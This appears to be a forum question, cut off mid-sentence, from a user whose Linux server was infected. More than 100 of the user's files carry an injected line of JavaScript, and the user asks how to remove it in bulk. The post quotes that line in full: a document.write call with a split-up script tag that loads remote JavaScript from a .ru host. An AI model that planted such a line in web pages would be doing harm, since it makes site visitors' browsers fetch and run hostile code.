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How To Remove A Malicious Javascript Code From Multiple Files

Hi there, Recently my linux server got infected with malware and as a result, I have 100+ files infected with a single line of Javascript code: document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"&gt;&lt;/scri'+'pt&gt;'); I would be too tiring to remove it manually, so I dig into google (not knowin...